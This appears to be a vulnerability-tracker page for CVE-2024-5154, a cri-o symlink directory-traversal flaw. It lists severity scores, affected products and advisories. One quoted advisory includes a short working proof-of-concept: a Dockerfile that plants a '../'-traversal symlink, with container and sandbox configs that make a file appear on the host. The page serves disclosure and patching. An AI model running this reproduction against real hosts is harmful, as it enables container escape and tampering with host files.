CVE-2024-5154

highpriority · track · 0EPSS 0.012 · 69 %ileDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
1.24% (69th) EPSS
CVSS 8.1 · high
Is it mine?
29 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-27

A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.1
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.18.1highAV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:Nsecondary · FSTEC (BDU) RU
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:Nsecondary · ENISA EU
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:Nsecondary · secalert@redhat.com USexploitability 1.7 · impact 5.8
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:Nsecondary · OSV
v3.17.4highCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (29)

Products and version ranges known to be affected.

showing 20 of 29
05

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2024-1362Red Hat OpenShift: Mehrere Schwachstellen ermöglichen Offenlegung von Informationen und DateimanipulationDeutsch2024-06-11csaf · cert_bundDE

    Ein lokaler Angreifer kann mehrere Schwachstellen in Red Hat OpenShift ausnutzen, um Informationen offenzulegen und Dateien zu manipulieren.

  • GHSA-j9hf-98c3-wrm8malicious container creates symlink "mtab" on the host External2024-06-04ghsa · osvUS

    ### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _Are there any links users can visit to find out more?_

  • GO-2024-2919malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o2024-06-14vendor · osvUS

    malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

08

references (27)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan